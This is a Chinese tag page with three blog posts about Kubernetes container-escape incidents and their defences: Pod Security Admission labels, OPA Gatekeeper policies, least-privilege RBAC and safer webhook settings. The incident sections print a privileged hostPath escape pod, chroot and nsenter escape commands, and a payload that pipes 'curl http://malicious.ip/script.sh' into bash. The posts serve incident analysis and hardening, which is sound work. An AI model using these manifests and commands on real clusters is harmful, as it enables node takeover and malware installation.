标签: Admission Webhook

  • 深入 K8S 越权陷阱排查:hostPath 逃逸与高危 RBAC 滥用引发的提权实战及 PSS 纵深防御体系构建

    K8S 默认的“全信”模型是集群最大的定时炸弹。在 K8S v1.25 彻底废弃 PSP 后,滥用 hostPath 与过度绑定 cluster-admin 是引发容器逃逸的罪魁祸首。本文通过复盘一次利用 hostPID 与根目录挂载引发的提权事件,给出基于内置 Pod Security Admission (PSA) 实施 Restricted 基线,结合动态 Admission Webhook 与 RBAC 最小权限收敛的纵深防御落地代码。

    事故现场:从一个不起眼的 dev-pod 到宿主机失陷

    某次排查集群 worker 节点 Load Average 异常飙升的问题时,在节点级监控(Node Exporter)发现 CPU I/O Wait 居高不下。登录宿主机执行 ps aux,赫然发现一个非预期的 bash 进程正以 root 身份执行内网扫描脚本。

    顺藤摸瓜,通过 crictl ps 配合进程 PID,定位到这是一个运行在 dev-workspace 命名空间下的调试 Pod。导出该 Pod 的 YAML 后,发现研发为了图方便,写出了极其典型的“自杀式”配置(K8S v1.26 环境):

    apiVersion: v1
    kind: Pod
    metadata:
      name: dev-debug-tool
      namespace: dev-workspace
    spec:
      hostPID: true       # 致命点 1:共享宿主机 PID 命名空间
      hostNetwork: true   # 致命点 2:共享宿主机网络栈
      containers:
      - name: debugger
        image: ubuntu:22.04
        command: ["sleep", "infinity"]
        securityContext:
          privileged: true # 致命点 3:开启特权模式
        volumeMounts:
        - mountPath: /host
          name: host-root
      volumes:
      - name: host-root
        hostPath:
          path: /       # 致命点 4:挂载宿主机根目录
    

    攻击者利用研发泄露的 Kubeconfig(甚至只是挂载了拥有高权限 ServiceAccount Token 的默认路径),通过 kubectl exec 进入这个容器。随后的一行命令,直接完成了从容器到宿主机的逃逸:

    # 容器内执行,直接获取宿主机 root shell
    chroot /host /bin/bash
    

    或者更底层的 nsenter 逃逸(利用 hostPID):

    # 找到宿主机 init 进程 PID 1,穿透 namespace
    nsenter -t 1 -m -u -i -n -p su
    

    为什么控制面 RBAC 拦不住数据面容器逃逸?

    在 K8S 的权限体系中,很多工程师存在一个严重的认知误区:认为 RBAC 配置正确,系统就绝对安全。

    底层原理在于,K8S 的安全边界分为控制面(Control Plane)和数据面(Data Plane/Node Node)。RBAC 仅控制你能不能调用 API Server 的接口(例如 create pods),但它完全不关心你创建的这个 Pod 内部到底长什么样。

    如果一个低权限的开发者,被授予了在某个 Namespace 下创建 Pod 的权限,而集群层面没有配置 Admission Controller 来校验 Pod 的 spec.securityContext,那么他就可以随时创建一个挂载 /etc/kubernetes/pki 或 /var/run/docker.sock 的提权 Pod。只要 Pod 调度到节点并由 Kubelet 启动,Linux Kernel 的 Namespace 和 Cgroups 隔离就会被 hostPath 和 privileged 彻底撕裂。爆炸半径瞬间从单个 Namespace 扩大到了整个物理节点甚至整个集群。

    纵深防御实战:构建不可逾越的安全基线

    为了填补 RBAC 与运行时安全之间的鸿沟,必须在 API Server 的请求持久化到 etcd 之前进行拦截。防御性架构需要分三步走。

    1. 启用 Pod Security Admission (PSA) 强制隔离

    自 K8S v1.25 起,PodSecurityPolicy (PSP) 被移除,取而代之的是内置的 Pod Security Admission。它预置了三种标准:Privileged、Baseline、Restricted。

    对于业务 Namespace,直接打上 Restricted 标签,强制实施最高安全级别,同时开启 warn 和 audit 以保证可观测性:

    # 对 dev-workspace 开启严格模式
    kubectl label --overwrite ns dev-workspace \
      pod-security.kubernetes.io/enforce=restricted \
      pod-security.kubernetes.io/enforce-version=latest \
      pod-security.kubernetes.io/warn=restricted \
      pod-security.kubernetes.io/warn-version=latest \
      pod-security.kubernetes.io/audit=restricted \
      pod-security.kubernetes.io/audit-version=latest
    

    此时,如果再次尝试提交上文的高危 YAML,API Server 会直接在 Admission 阶段返回 403 阻断:

    Error from server (Forbidden): error when creating "bad-pod.yaml": pods "dev-debug-tool" is forbidden: violates PodSecurity "restricted:latest": host namespaces (hostNetwork=true, hostPID=true), privileged (container "debugger" must not set securityContext.privileged=true), hostPath volumes (volume "host-root") ...
    

    底层拦截逻辑:kube-apiserver 内部的 PodSecurity admission plugin 会在 Mutating 阶段后、Validating 阶段前评估 Pod Spec。它硬编码了 Kubernetes Pod Security Standards 的校验逻辑,直接在内存中比对字段,性能开销极小。

    2. 引入 OPA Gatekeeper 补齐 PSA 盲区

    PSA 虽然好用,但粒度太粗。比如它无法限制镜像仓库来源,无法强制要求配置 resources.limits。此时需要引入外部的 Admission Webhook。

    部署 OPA Gatekeeper(v3.13+),编写 Rego 策略,确保所有镜像必须来自私有可信镜像库(如 harbor.internal.com),拦截供应链投毒:

    # K8s Constraint Template (Gatekeeper)
    apiVersion: templates.gatekeeper.sh/v1
    kind: ConstraintTemplate
    metadata:
      name: k8sallowedrepos
    spec:
      crd:
        spec:
          names:
            kind: K8sAllowedRepos
          validation:
            openAPIV3Schema:
              type: object
              properties:
                repos:
                  type: array
                  items:
                    type: string
      targets:
        - target: admission.k8s.gatekeeper.sh
          rego: |
            package k8sallowedrepos
            violation[{"msg": msg}] {
              container := input.review.object.spec.containers[_]
              satisfied := [good | repo = input.parameters.repos[_] ; good = startswith(container.image, repo)]
              not any(satisfied)
              msg := sprintf("Container image %v comes from an untrusted registry", [container.image])
            }
    

    绑定约束:

    apiVersion: constraints.gatekeeper.sh/v1beta1
    kind: K8sAllowedRepos
    metadata:
      name: repo-is-harbor
    spec:
      match:
        kinds:
          - apiGroups: [""]
            kinds: ["Pod"]
      parameters:
        repos:
          - "harbor.internal.com/"
    

    3. RBAC 权限收敛与自动化审计

    切断了提权路径后,最后一步是收敛 ServiceAccount 权限。很多时候,Pod 逃逸后能横向移动,是因为默认挂载了高权限的 Token。

    防御性配置标准:

    1. 业务 Namespace 的 default ServiceAccount 必须禁用 Token 自动挂载。

    2. 业务 Pod 需要访问 API Server 时,创建专属 SA,并遵循最小权限绑定。

    apiVersion: v1
    kind: ServiceAccount
    metadata:
      name: app-backend-sa
      namespace: dev-workspace
    automountServiceAccountToken: false # 核心防御:切断默认 Token 投递
    

    配合精细化 Role,仅授予业务绝对需要的权限(例如仅读取本命名空间下的特定 ConfigMap):

    apiVersion: rbac.authorization.k8s.io/v1
    kind: Role
    metadata:
      namespace: dev-workspace
      name: config-reader
    rules:
    - apiGroups: [""]
      resources: ["configmaps"]
      resourceNames: ["app-config"] # 限制到具体资源名称,而非整个 configmaps
      verbs: ["get", "watch"]
    

    常见问题

    Q1:开启 PSS Restricted 模式后,Ingress Controller、CNI 等必需使用 hostNetwork 的系统级组件起不来怎么办? 在集群维度的 AdmissionConfiguration 配置文件中配置豁免(Exemptions)。可以将 kube-system、ingress-nginx 等核心系统组件所在的 Namespace,或者特定的特权 RuntimeClass 加入白名单。切忌在全局层面降低 PSS 的安全等级。

    Q2:对于存量极速迭代的业务,如何不中断业务平滑推行 PSS? 分段推行。首先通过 kubectl label ns pod-security.kubernetes.io/audit=restricted pod-security.kubernetes.io/warn=restricted 开启审计与告警模式,enforce 维持在 baseline。收集 API Server 的 Metrics (apiserver_admission_pod_security_audit_duration_seconds 及相关 Audit log),抓出违规业务,推动研发整改(如去掉不必要的 runAsRoot),确认无拦截日志后再开启 enforce=restricted。

    Q3:研发确实需要 exec 进容器进行抓包调试,如何满足需求同时防止其起高危 Pod? 利用 K8S v1.25+ 稳定的 Ephemeral Containers(临时容器)特性。研发无需创建静态的高危调试 Pod,只需使用 kubectl debug -it --image=nicolaka/netshoot --target=。管理员通过 RBAC 严格限制 pods/exec 和 pods/debug 的权限,并由 PSA 确保临时容器同样受到 Restricted 策略约束。

  • 深入 Admission Webhook 陷阱排查:全局失败策略引发的 APIServer 死锁与核心组件调度瘫痪实战

    某次生产环境故障,整个 K8S 集群突然陷入“脑死亡”状态。现象极其诡异:所有现存业务依然能正常响应外部流量,但任何涉及 Pod 创建、销毁或更新的操作全部卡死。业务发布流水线大面积 context deadline exceeded,HPA 扩容失效,甚至连 CoreDNS 的滚动重启都被一直挂在 Pending 状态。

    一句话总结根本原因:安全团队为了强制落地 Pod Security Standards (PSS),部署了一个 OPA Gatekeeper ValidatingWebhook,但犯了防御性编程的大忌——将 failurePolicy 设为 Fail,且未配置 namespaceSelector 豁免系统级命名空间。当 Webhook 后端 Pod 因资源限制触发 OOMKilled 后,APIServer 无法连接 Webhook,导致所有新建 Pod 的请求被无差别拒绝,包括试图拉起 Webhook 自身的 ReplicaSet。这是一个经典的“先有鸡还是先有蛋”的死锁惨案。

    案发现场与日志实录

    登录 Master 节点,直接抓取 kube-apiserver 的错误日志。满屏的报错直接把矛头指向了 Admission Controller:

    # tail -n 100 /var/log/kubernetes/kube-apiserver.log | grep "failed calling webhook"
    E0824 14:32:11.123456       1 dispatcher.go:180] failed calling webhook "validation.gatekeeper.sh": failed to call webhook: Post "https://gatekeeper-webhook-service.gatekeeper-system.svc:443/v1/admit?timeout=3s": dial tcp 10.96.45.12:443: connect: connection refused
    E0824 14:32:11.125678       1 trace.go:205] Trace[12345678]: "Create *v1.Pod" (started: 2024-08-24 14:32:08.120) (total time: 3.005s):
    Trace[12345678]: [3.005s] [3.005s] END
    W0824 14:32:11.125789       1 admission.go:149] Failed calling webhook, failing open validation.gatekeeper.sh: failed calling webhook "validation.gatekeeper.sh": failed to call webhook: Post "https://gatekeeper-webhook-service.gatekeeper-system.svc:443/v1/admit?timeout=3s": context deadline exceeded
    

    通过 kubectl get events -A 查看集群事件,发现不仅是业务 Namespace,连 kube-system 里的调度都瘫痪了:

    Warning  FailedCreate  replicaset/coredns-74ff55c5b  Error creating: Internal error occurred: failed calling webhook "validation.gatekeeper.sh": failed to call webhook: Post "https://gatekeeper-...": dial tcp 10.96.45.12:443: connect: connection refused
    

    蠢不可及的架构缺陷

    排查过程中,我导出了这个 ValidatingWebhookConfiguration 的 YAML。看一眼配置,血压直接拉满:

    apiVersion: admissionregistration.k8s.io/v1
    kind: ValidatingWebhookConfiguration
    metadata:
      name: gatekeeper-validating-webhook-configuration
    webhooks:
      - name: validation.gatekeeper.sh
        clientConfig:
          service:
            name: gatekeeper-webhook-service
            namespace: gatekeeper-system
            path: /v1/admit
        failurePolicy: Fail # 致命弱点 1
        timeoutSeconds: 30  # 致命弱点 2:超时时间过长拖垮 APIServer 性能
        rules:
          - operations: ["CREATE", "UPDATE"]
            apiGroups: ["*"]
            apiVersions: ["*"]
            resources: ["pods"] # 致命弱点 3:拦截所有 Pod,无差别攻击
        # 缺失 namespaceSelector,完全没有白名单机制
    

    从技术逻辑上讲,为什么这种配置不可原谅? 安全组件的引入绝对不能以牺牲系统的底层高可用为代价。如果系统都挂了,还要安全有什么用?

    1. failurePolicy: Fail + 无白名单 = 集群自杀按钮 APIServer 在处理资源创建时,会串行执行 Mutating 和 Validating Webhooks。当 failurePolicy 为 Fail 时,意味着只要 Webhook 不响应(无论是因为 Pod 宕机、网络抖动还是 CNI 故障),APIServer 就会硬拒绝该请求。没有 namespaceSelector 豁免 kube-system 和 gatekeeper-system,一旦 Webhook 挂掉,集群将失去修复自身的能力。

    2. 长达 30 秒的超时设置 如果 Webhook 处于半死不活的状态(例如发生网络黑洞但并未拒绝连接),APIServer 的工作线程会被这个调用阻塞整整 30 秒。在高并发调度场景下,这会瞬间耗尽 APIServer 的 goroutine 与连接池,导致整个控制面请求超时(context deadline exceeded),连只读的 kubectl get pods 都会卡顿。

    破局与防御性修复策略

    第一步:外科手术式自救 系统已经死锁,常规部署手段无效。直接使用原生 API 强删 Webhook 配置,打通 APIServer 的任督二脉:

    # 立即解除全局拦截,恢复调度能力
    kubectl delete validatingwebhookconfiguration gatekeeper-validating-webhook-configuration
    # 观察 Kube-Controller-Manager,等待 ReplicaSet 开始重试拉起 Pod
    kubectl get pods -n gatekeeper-system -w
    

    删除配置后,积压的 Pod 创建请求瞬间被释放,集群恢复生机。

    第二步:重塑安全架构的“底线” 安全的实施必须遵循“最小爆破半径”原则。我们将配置进行了防御性重构:

    apiVersion: admissionregistration.k8s.io/v1
    kind: ValidatingWebhookConfiguration
    metadata:
      name: gatekeeper-validating-webhook-configuration
    webhooks:
      - name: validation.gatekeeper.sh
        # 缩短超时时间,保护 APIServer
        timeoutSeconds: 3
        # 核心系统与监控组件降级为 Ignore,或保持 Fail 但通过 selector 严格过滤
        failurePolicy: Fail 
        namespaceSelector:
          matchExpressions:
            # 绝对禁区:严禁拦截系统组件和 Webhook 自身所在的命名空间
            - key: kubernetes.io/metadata.name
              operator: NotIn
              values: ["kube-system", "gatekeeper-system", "monitoring"]
        rules:
          - operations: ["CREATE", "UPDATE"]
            apiGroups: [""]
            apiVersions: ["v1"]
            resources: ["pods"]
    

    第三步:RBAC 最小权限与 PSS 落地正确姿势 排查中还发现该 Webhook 后端被授予了 cluster-admin。这完全背离了 RBAC 最小权限原则。如果 Webhook 被攻破,攻击者可以直接接管集群。 落地 Pod Security Standards (PSS) 时,更好的做法是利用 K8S 1.23+ 内置的 Pod Security Admission,而不是完全依赖第三方的 Webhook。直接在 Namespace 级别打标签:

    apiVersion: v1
    kind: Namespace
    metadata:
      name: app-prod
      labels:
        pod-security.kubernetes.io/enforce: restricted
        pod-security.kubernetes.io/enforce-version: latest
        pod-security.kubernetes.io/audit: restricted
        pod-security.kubernetes.io/warn: restricted
    

    内置的 Admission Controller 跑在 APIServer 进程内,没有网络开销,也不存在因 Webhook 单点故障导致的死锁问题。

    排查清单与同类问题速查

    1. APIServer 延迟突增 / 调度卡死:立即检查 kube-apiserver 日志中是否有 failed calling webhook 报错,确认是否为 Admission Webhook 阻塞。

    2. Webhook 隔离性检查:检查所有 ValidatingWebhookConfiguration 和 MutatingWebhookConfiguration,确保配置了 namespaceSelector,且必须豁免 kube-system 与其自身 Namespace。

    3. 超时与降级策略审查:审查所有 Webhook 的 timeoutSeconds(建议设为 1~3s),评估核心链路是否可以将 failurePolicy 设为 Ignore 以防全局雪崩。

    4. Webhook 自身高可用:Webhook 的 Backend 必须配置合理的 requests/limits(避免 OOM)、PodDisruptionBudget(PDB)防止被无意驱逐,并且使用反亲和性(Anti-Affinity)打散部署在多个节点。

  • 深入 K8S 容器逃逸排查:RBAC 越权与 hostPath 引发的节点沦陷及 PSS 与 Webhook 防御实战

    某次排查生产 K8S 1.28 集群 Worker 节点 CPU 异常打满时,发现黑客利用 CI/CD ServiceAccount 的过度 RBAC 权限,下发带有 privileged: true 和 hostPath 的逃逸 Pod 植入挖矿程序。本文直接给出基于 Pod Security Standards (PSS) 的 Namespace 强制策略,以及结合 OPA Gatekeeper Admission Webhook 的防御代码,彻底阻断此类提权路径。

    案发现场:Load Average 飙升与逃逸路径还原

    监控系统告警某 Worker 节点 Load Average 飙升至 80+,通过 top 排查发现大量不明进程占用 CPU。进入节点后,查看 dmesg 与 syslog 发现异常的 chroot 操作。通过反查容器运行时(Containerd),定位到一个名为 ci-debug-xyz 的异常 Pod。

    导出该 Pod 的 YAML 定义,其核心逃逸 payload 如下:

    apiVersion: v1
    kind: Pod
    metadata:
      name: ci-debug-xyz
      namespace: cicd-build
    spec:
      containers:
      - name: payload
        image: alpine:3.18
        command: ["nsenter", "-t", "1", "-m", "-u", "-i", "-n", "sh", "-c", "curl http://malicious.ip/script.sh | bash"]
        securityContext:
          privileged: true # 致命配置1:开启特权模式
        volumeMounts:
        - mountPath: /host
          name: host-root
      volumes:
      - name: host-root
        hostPath:
          path: /        # 致命配置2:挂载宿主机根目录
    

    追查 K8S Audit Log 发现,创建该 Pod 的身份是 system:serviceaccount:cicd-build:jenkins-agent。检查其绑定的 RBAC 角色,发现存在典型的“过度授权”问题:

    apiVersion: rbac.authorization.k8s.io/v1
    kind: Role
    metadata:
      name: jenkins-build-role
      namespace: cicd-build
    rules:
    - apiGroups: [""]
      resources: ["pods", "pods/exec"]
      verbs: ["*"] # 允许在当前 NS 下对 Pod 进行任意操作
    

    黑客通过某次应用 RCE 漏洞拿到了 Jenkins Agent 的 Token,由于该 Token 拥有 pods 的 create 权限,直接下发了特权 Pod,挂载宿主机根目录并通过 nsenter 逃逸到宿主机执行恶意脚本。

    为什么原生的 RBAC 无法阻止容器逃逸?

    在 K8S 的安全模型中,RBAC 只解决“谁能操作什么 API 资源”的问题,但不解决“API 资源的内容是否合法”的问题。

    当为 CI/CD 赋予了 resources: ["pods"], verbs: ["create"] 权限时,API Server 仅校验该 Token 是否有权调用 POST /api/v1/namespaces/cicd-build/pods 接口。至于提交的 Pod Spec 里是否包含了 hostNetwork: true、privileged: true 或者挂载了宿主机的 /etc/shadow,RBAC 机制无能为力。

    在 K8S 1.25 之前,我们通常用 PodSecurityPolicy (PSP) 来拦截危险配置。但 PSP 由于设计复杂且易引发级联故障,在 1.25 被彻底移除,取而代之的是内置的 Pod Security Admission (PSA) 以及依赖外部引擎的 Admission Webhook(如 OPA Gatekeeper / Kyverno)。

    防御性加固实战:构建纵深防御体系

    为了彻底封死此类攻击面,必须在 API 请求的 Mutating 和 Validating 阶段进行严格拦截。

    1. 落地 Pod Security Standards (PSS)

    在 K8S 1.28 中,PSA 是默认开启的内置准入控制器。我们通过给 Namespace 打 Label 的方式,强制实施 PSS 的 restricted(限制)或 baseline(基线)标准。

    对于普通的业务或 CI/CD Namespace,直接实施 baseline 策略,并开启 restricted 的告警与审计:

    # 强制执行 baseline 策略,拒绝特权 Pod 和 hostPath
    kubectl label --overwrite ns cicd-build \
      pod-security.kubernetes.io/enforce=baseline \
      pod-security.kubernetes.io/enforce-version=latest
    
    # 对 restricted 策略进行审计和警告,暂不阻断,用于灰度观测
    kubectl label --overwrite ns cicd-build \
      pod-security.kubernetes.io/audit=restricted \
      pod-security.kubernetes.io/audit-version=latest \
      pod-security.kubernetes.io/warn=restricted \
      pod-security.kubernetes.io/warn-version=latest
    

    执行上述配置后,若再次尝试提交带有 privileged: true 的 Pod,API Server 会直接在 Validating 阶段拒绝并报错: Error from server (Forbidden): pods "ci-debug-xyz" is forbidden: violates PodSecurity "baseline": privileged (container "payload" must not set securityContext.privileged=true)

    2. RBAC 最小权限重构

    不要图省事给 verbs: ["*"]。CI/CD 的 ServiceAccount 如果只需要触发部署,应该只给 Deployment/StatefulSet 的 patch 或 update 权限,绝不要给 pods 的 create 权限,更不要给 pods/exec。

    # 修正后的 Role
    rules:
    - apiGroups: ["apps"]
      resources: ["deployments"]
      verbs: ["get", "patch", "update"] # 仅允许更新镜像版本
    

    3. OPA Gatekeeper:更细粒度的 Admission Webhook 拦截

    PSS 的 baseline 和 restricted 策略是打包好的黑盒,如果业务确实需要个别特殊权限(例如仅允许挂载 /var/log 目录但不允许挂载 /),PSS 无法做到细粒度放行。这时必须引入 OPA Gatekeeper 作为 Validating Webhook。

    部署 Gatekeeper 后,编写 Rego 策略显式禁用 hostPath 逃逸:

    ConstraintTemplate (定义校验逻辑):

    apiVersion: templates.gatekeeper.sh/v1
    kind: ConstraintTemplate
    metadata:
      name: k8sblockhostpath
    spec:
      crd:
        spec:
          names:
            kind: K8sBlockHostPath
      targets:
        - target: admission.k8s.gatekeeper.sh
          rego: |
            package k8sblockhostpath
    
            violation[{"msg": msg}] {
              volume := input.review.object.spec.volumes[_]
              has_key(volume, "hostPath")
              msg := sprintf("Strictly prohibited: Pod uses hostPath volume '%v'", [volume.name])
            }
    
            has_key(obj, k) {
              _ = obj[k]
            }
    

    Constraint (绑定到特定 Namespace):

    apiVersion: constraints.gatekeeper.sh/v1beta1
    kind: K8sBlockHostPath
    metadata:
      name: block-hostpath-cicd
    spec:
      match:
        kinds:
          - apiGroups: [""]
            kinds: ["Pod"]
        namespaces: ["cicd-build", "prod"]
    

    当黑客再次利用漏洞尝试提交包含 hostPath 的 Payload 时,请求会被 Gatekeeper 的 Webhook 拦截,并返回我们自定义的错误信息。

    常见问题

    Q1: PSS 开启 restricted 策略后,合法业务的 Pod 启动报错 must drop ALL capabilities,如何处理? A: restricted 级别要求极为严格,要求容器必须在 securityContext 中显式声明丢弃所有 Linux Capabilities。解决办法是修改业务的 Deployment YAML,在 containers.securityContext 中加入:

    securityContext:
      capabilities:
        drop:
          - ALL
    

    建议在推行 restricted 前,先开启 warn 和 audit 模式,通过日志观察两周,将业务 YAML 修改合规后再开启 enforce。

    Q2: 集群已经开启了内置的 PSS 策略,还有必要部署 OPA Gatekeeper 或 Kyverno 吗? A: 非常有必要。PSS 只能处理 Pod 级别的安全规范(如限制特权、HostNetwork、Volume 类型等)。但真实生产环境中,你还需要拦截诸如 “禁止拉取非内网 Harbor 的镜像”、”必须包含特定 Label(如 cost-center)”、”禁止 Ingress 规则冲突” 等场景,这些超出 Pod Security 范畴的细粒度校验,只能通过外部 Admission Webhook 引擎实现。两者是互补关系。

    Q3: 旧集群(K8S 1.20)还在用 PSP,近期准备升级到 1.28,如何平滑迁移? A: PSP 与 PSS 的底层机制完全不同。平滑迁移步骤:

    1. 在 1.20 集群安装 kyverno 或 gatekeeper,将旧的 PSP 规则翻译成 Webhook Policy。

    2. 将 Webhook Policy 设置为 audit 模式,对比 PSP 的阻断日志,确保规则一致。

    3. 升级 K8S 集群。升级到 1.25 时 PSP 会自动失效,此时将 Webhook Policy 切换为 enforce 模式接管防御。

    4. 在 1.28 中,逐步为 Namespace 打上 PSS 标签,用 K8S 原生能力替换掉部分基础的 Webhook Policy,降低 API Server 调用 Webhook 的延迟。